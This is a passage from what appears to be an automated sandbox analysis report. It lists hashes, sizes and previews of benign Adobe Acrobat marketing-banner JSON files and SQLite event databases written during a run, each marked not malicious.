SHA1:	D1775288AE30976DDEC31031186BB1224FFB3514
SHA-256:	FC65762FB9C26781D63C87783388668E524091DA187F5E4E6F5C4C8E8ECDB754
SHA-512:	0783ADA817F92655578AFE7DE863C6AE4F33BCAD954F930C933BF0469A7A3B9F52C9AE92F37E49BC81E29A7DBA6C6F89920F69782CC1B04067BFC6BD61F69FDF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.241141089649728
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQYp5qWkVoZcg1vRcR0Y3Rt7xoAvJfBD2G6UpnrPeUkwRe9:YvXKXFQsBZc0voSGR22cUkee9
MD5:	A10B39A19EA040949C68F0561881B259
SHA1:	FAC0B0707380C6AC694621EB73DC440D43C0AC5F
SHA-256:	16BDD468EE20BB128FC53A5A79BE39E9E66DCE0503478C71901A236AB86F10F8
SHA-512:	E4C3585E331965B6A4A6FD657BB694F764A46487186970B272AFA0AE05E3E881684B3F8D6AF06C114D160514D2FB47ED2617A784400E459DF7F4BDFF47B8F183
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.303384823947415
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQYp5qWkVoZcg1vRcR0Y3Rt7xoAvJfPmwrPeUkwRe9:YvXKXFQsBZc0voSGH56Ukee9
MD5:	5361423CE0D5A93C73ADD26BB7F10F8E
SHA1:	E1FE8F4F6967FB5ED07BD330AE49DE010CB34167
SHA-256:	33A0DA5D609CEB3490753E0D045F52F8922AF0CCD1B9D1733428C738AE171008
SHA-512:	FE9264A5E0631CD50FFACC4DA8B9F052D81409A5766C8DB8E2C264D079E5400DE84D812DC218B99E9A794DF18D88D39414F3DE1D13C11EF5C3D3C166C233D9D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1055
Entropy (8bit):	5.652988742591754
Encrypted:	false
SSDEEP:	24:Yv6XqsBzvovpLgEscLf7nnl0RCmK8czOCCSY:Yv1EAvhgGzaAh8cv/Y
MD5:	BD08D67E9D42909D286C3D62B1FD160C
SHA1:	6C0D85179DCFF3F65A9974E76D93326E87DC6E4B
SHA-256:	782D95C4546225195B95DBDAC768602D6F0F9EA9F88101C799029BB406A37979
SHA-512:	779524BD9675AE4B59E7F3EC9D13E7F5AEB49B55B30F5744B0CAB3FE6C323F094C745B41F6C467975972733F5363E07E9061A0AD42C155B96BAB5DA4A617A2CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"92038_285529ActionBlock_1","campaignId":92038,"containerId":"1","controlGroupId":"","treatmentId":"eb1a4bce-8215-46f1-b44c-154b21a85d60","variationId":"285529"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNhdElkIjpudWxsfQ==","dataType":"application\/json","encodingScheme":tr

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	5.64295614236099
Encrypted:	false
SSDEEP:	24:Yv6XqsBzvozVLgEF0c7sbnl0RCmK8czOCYHflEpwiVV:Yv1EAzFg6sGAh8cvYHWpwY
MD5:	34AA61FD7836018C19F1CE6073ACCC35
SHA1:	6ACE0481C00A49929D7F0C96032A46355A916AF0
SHA-256:	205277ACE986A426854994296D09DA3292735665960C905016CA40BD97F70A94
SHA-512:	73448BEB70FC155124CB7A77CB038CC9C19EE15C263B08B500244DE5EEB83B6D16255C608CE197D3D23F4716EED768B9406168A14A9D559D3C3A3B95F7694E9E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_0","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"0924134e-3c59-4f53-b731-add558c56fec","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuZm9ybXMgJiBhZ3JlZW1lbnRzLiJ9LCJ0Y2F0SWQiOm51bGx9","dataType":"application\/json","encodingScheme":true},"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.251945508040359
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQYp5qWkVoZcg1vRcR0Y3Rt7xoAvJfQ1rPeUkwRe9:YvXKXFQsBZc0voSGY16Ukee9
MD5:	A33CB9F3176B1DC9BB22C4BFF73DAB8E
SHA1:	7D4126FF613C9844A9B97F9D24C9AD63143185C1
SHA-256:	F59BC6CDD9146E80A0B07DCFB1DFEC6F050610669B037EEB2F25B8EEC6E9DAA8
SHA-512:	16C191D923468D1816B8A05F270103ED9B3B77479CF5C173A6F65B4858911F1FD5B92764D53D201E7EAB56BE32DAEEEBE180A1B5B31895C6E737EF3D520C3FAD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1038
Entropy (8bit):	5.635513611360515
Encrypted:	false
SSDEEP:	24:Yv6XqsBzvoC2LgEF7cciAXs0nl0RCmK8czOCAPtciBV:Yv1EACogc8hAh8cvAf
MD5:	4684FDE13FE0BCB9E7088E19B2F970FC
SHA1:	B71841B533EE1E106B3078768F0A0FD82A1DDA44
SHA-256:	B4D0496B85F472030F15EFBE00DB8D61A4E47F0B42DCE794A49033833D9B03F6
SHA-512:	5BFA8CC14CC1E9E099D35DACDE5C2FBB5B72CD970BFFDACABCFA800650A5FEFF41674224DE1F40718054974AEC9CEA8A4B2159BD4319F898D9A5CDD89943724A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_1","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"49d2f713-7aa9-44db-aa50-0a7a22add459","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVkaXQgdGV4dCwgaW1hZ2VzLCBwYWdlcywgYW5kIG1vcmUuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"application\/json","encodingScheme":true},"endDTS":1744

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	5.6951751122488465
Encrypted:	false
SSDEEP:	24:Yv6XqsBzvo+KLgEfIcZVSkpsn264rS514ZjBrwloJTmcVIsrSK5V:Yv1EA+EgqprtrS5OZjSlwTmAfSKb
MD5:	92F3510AF55A6D2DAEA487554E201708
SHA1:	08AC0E522381DE2B409BAACB90B761DD97A5B2F8
SHA-256:	A4DAEE9CF012891444C90D3239A9C21457CBBDF3E525826E970EA4C2FF32E3DA
SHA-512:	C3C7F3758DC9BB94B3DF477E2B5A8C280E38935C404382996C286C715614CEE96BFA981614B538A17DF5F6185534159ECCDBCB71BC56BA94ABDE708F87784E99
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2536793786758595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQYp5qWkVoZcg1vRcR0Y3Rt7xoAvJfYdPeUkwRe9:YvXKXFQsBZc0voSGg8Ukee9
MD5:	8F01C9E2B0B8222349407082665B13F6
SHA1:	8EC65645CDDC2A6F0478F662F4A6C5BB362C6C11
SHA-256:	8EEEE46F948E7B5B3F7D891831EBABDEE14D912BE5580858A5E8B0EFD3525734
SHA-512:	927A73F619C6E6B190C588248E240578910DB2EAE795D7F365232EB8761DB8FC03B3D4F388475913E1175901646078E90D45090DE53803C624E5C26B9AC7540B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	5.772046652132671
Encrypted:	false
SSDEEP:	24:Yv6XqsBzvo1rLgEGOc93W2JeFmaR7CQzttgBcu141CjrWpHfRzVCV9FJN9:Yv1EA1HgDv3W2aYQfgB5OUupHrQ9FJb
MD5:	D76DD1D84D1D5CBE897AAD06A5353128
SHA1:	0414CD50B3DEF5AB2C38A006C588112EA87E0360
SHA-256:	B9FD01D94396C5E9DDA47A6C9836FD4A21472A35B9ED83444EA1D397B4C4D74A
SHA-512:	A47F4BD647E502463C9D285AF587C29B285E2AD09C28C17BBBCD29F5F3B835DA49E26A333E0A4F3CA24FF415D2003052F542F6B631C7065CC8AF498B893585F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_RHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"57802_176003ActionBlock_0","campaignId":57802,"containerId":"1","controlGroupId":"","treatmentId":"d0374f2d-08b2-49b9-9500-3392758c9e2e","variationId":"176003"},"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9wcm94eS9wcmljaW5nL3VzL2VuL3NpZ24tZnJlZS10cmlhbC5odG1sP3RyYWNraW5naWQ9UEMxUFFMUVQmbXY9aW4tcHJvZHVjdCZtdjI9cmVhZGVyIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTQiLCJmb250X3N0eWxlIjoiMyJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEyIiwiZm9udF9zdHlsZSI6IjMifSwidGl0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.237544831135457
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQYp5qWkVoZcg1vRcR0Y3Rt7xoAvJfbPtdPeUkwRe9:YvXKXFQsBZc0voSGDV8Ukee9
MD5:	37D8A25B2D5C1984C7CB17D25A5D82E1
SHA1:	65E3C0DC570FEA13E3D7FAA5AAE6B04139A08E44
SHA-256:	D8DCFC2BDA5E61C32210C578B656CC5434F90C319352295E9C041A7E7C8D26BE
SHA-512:	7FA6FDAACE36C044B2BB96FF16929F721CF555008E82AB84604369382F7939B681AF59A4EF623E9E335F1E0F1D11255563C81ADA41189F22D1A972222EF4F660
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.242130413953065
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQYp5qWkVoZcg1vRcR0Y3Rt7xoAvJf21rPeUkwRe9:YvXKXFQsBZc0voSG+16Ukee9
MD5:	C6C407866801E7E76A159CC9A775220C
SHA1:	CB7B0DC29369C94A5A1E64B7EA585B0EA579E727
SHA-256:	7C3259694A34A76C0C16D469D65379893E9AEADCBF5469DDA387144519CF7BE6
SHA-512:	A06D4AC7C9D9EA1547F167E2FF9ED71E27B44AF68AA83825FEDD6D57B9788369F8E0A275C9AFADE0A433CB60C0ADE4A20435672B5830B79843B4F756E33D3E29
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	5.622948019840854
Encrypted:	false
SSDEEP:	24:Yv6XqsBzvo3amXayLgE7cMCBNaqnl0RCmK8czOC/BSY:Yv1EAPBgACBOAh8cvMY
MD5:	18DFAAAEE39F8E28D9B9F294EE385717
SHA1:	B0C64C822C25A58297F09ED68ADDD2919FAF51CC
SHA-256:	27AC95811759C88162CBDC4B780D59201E5F935B646AC2672A1DBF8975AA3D48
SHA-512:	0AEF1C30210A51EB2F35957B4F7B0EDF4F8F6A333CBEE735E14B93D8C99D30426C0F86A268BD18BCAEE3CE1F49A4490C888080918E11A1E8E3D20DF7F99F3E50
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"92038_285529ActionBlock_0","campaignId":92038,"containerId":"1","controlGroupId":"","treatmentId":"6291f52b-6cb0-4d31-bc46-37ce85e9eb25","variationId":"285529"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"application\/json","encodingScheme":true},"endDTS":1751323379000,"s

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.217313782451746
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQYp5qWkVoZcg1vRcR0Y3Rt7xoAvJfshHHrPeUkwRe9:YvXKXFQsBZc0voSGUUUkee9
MD5:	2A8A53774B10507073092AA04DCEB797
SHA1:	3419ABB39E94242533025CC781A39A74418E9869
SHA-256:	AE058737E90266838C6C14BE22020C985333D7A3BD7639517276A8E0F4A4791E
SHA-512:	CA471FAC3B5BF5D87FB0C4AB4F3216F02D2CD0BCD8319867BE603F543E0A2B79546C168985D4995AFE712516D9FF95E198382CCF6BE5CA75E5592CCE517650E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.358100396306158
Encrypted:	false
SSDEEP:	12:YvXKXFQsBZc0voSGTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhWR:Yv6XqsBzvoc168CgEXX5kcIfANhY
MD5:	7737DC261A050D2222D617B89016EA58
SHA1:	206FCD2F1E396CDAD68923D9DC4BCAB29E501D33
SHA-256:	CB60D65E11EDC43DFCB959958C2AD4305405D533CA3E713631C8182BB2DB2DB8
SHA-512:	3EAF4DE0D3EE6093125B48E01DDB59FE9D5631305FB9B68A700DAE29D0AF2C2B724886387E55A0D91660BA93F10922F1FAF033E82741535CEB89892531B8225A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"25fae454-9a83-4d74-a43e-efd4caf7cf6c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1729932465923,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1729752600953}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2818
Entropy (8bit):	5.134523647329175
Encrypted:	false
SSDEEP:	24:YXZpHVqJnaqaEayo6ySXDMCMTiVNrqmO6Z3RMGoBcjzLAj0SzS+PdeSI/2Wca2Li:YNxHOkb6D7yEFYa6dNbh9S
MD5:	292A6223D98DD10A9AA11A798C5C6EE3
SHA1:	7C6675AAA40FB044AC02EFCE147B1707127F17DA
SHA-256:	0BD926887397981425DAC6ACB980DD1A3C15E22C0D9D8A0D5C4991F809CB8066
SHA-512:	26E98613F3272CD1603B010E62BB386423553FA9DD79D9D7B1FD9E85D1D119B24AB1B5B2B63B4C1F3A6E1331CCC8DBFD809F929F93BA22514DC02F685BA37BB3
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"83a67dbebb25adc30edef4913208f400","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1050,"ts":1729752600000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"81e29201bf4b296506d5dbed75870a95","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1729752600000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"80931781cc3ed4760a1881483bb709d9","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1026,"ts":1729752600000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6130af0e4f328387efbd813e8520677d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1055,"ts":1729752600000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"7b919af339d5c9243106bdaba1a09b73","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1038,"ts":1729752600000},{"id":"Edit_InApp_Aug2020","info":{"dg":"7513d5a679843392af54d63f1ed71791","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":17

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1884052739210273
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUISOSvR9H9vxFGiDIAEkGVvpsSI:lNVmswUUUUUUUUS+FGSItU
MD5:	CE56CD4FD431FAAE269FB048CCE2808A
SHA1:	A1E306247E72A92D201C98EAC9AAB92E72AE5E4D
SHA-256:	885B0B2A85E31CF02899030F3F33420E44ADBF0DB5481EF08DD1015C37558741
SHA-512:	10F34E8306CB6712D8A4A32D718540A57552F3E241E9A26BA87374AB56264F86FECB550944CC7AA59085E6AD22FEB1EE0E3DF94FD1E42E274B3B5D0540E9EBB7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6066491824601354
Encrypted:	false
SSDEEP:	48:7MJKUUUUUUUUUUIScvR9H9vxFGiDIAEkGVvKqFl2GL7msD:7XUUUUUUUUUU4FGSItQKVmsD
MD5:	0BA383ACA523C8439D989C7C9313CECC
SHA1:	F341B38E2A6A4BED37BED50B417AF0F1AC40C851
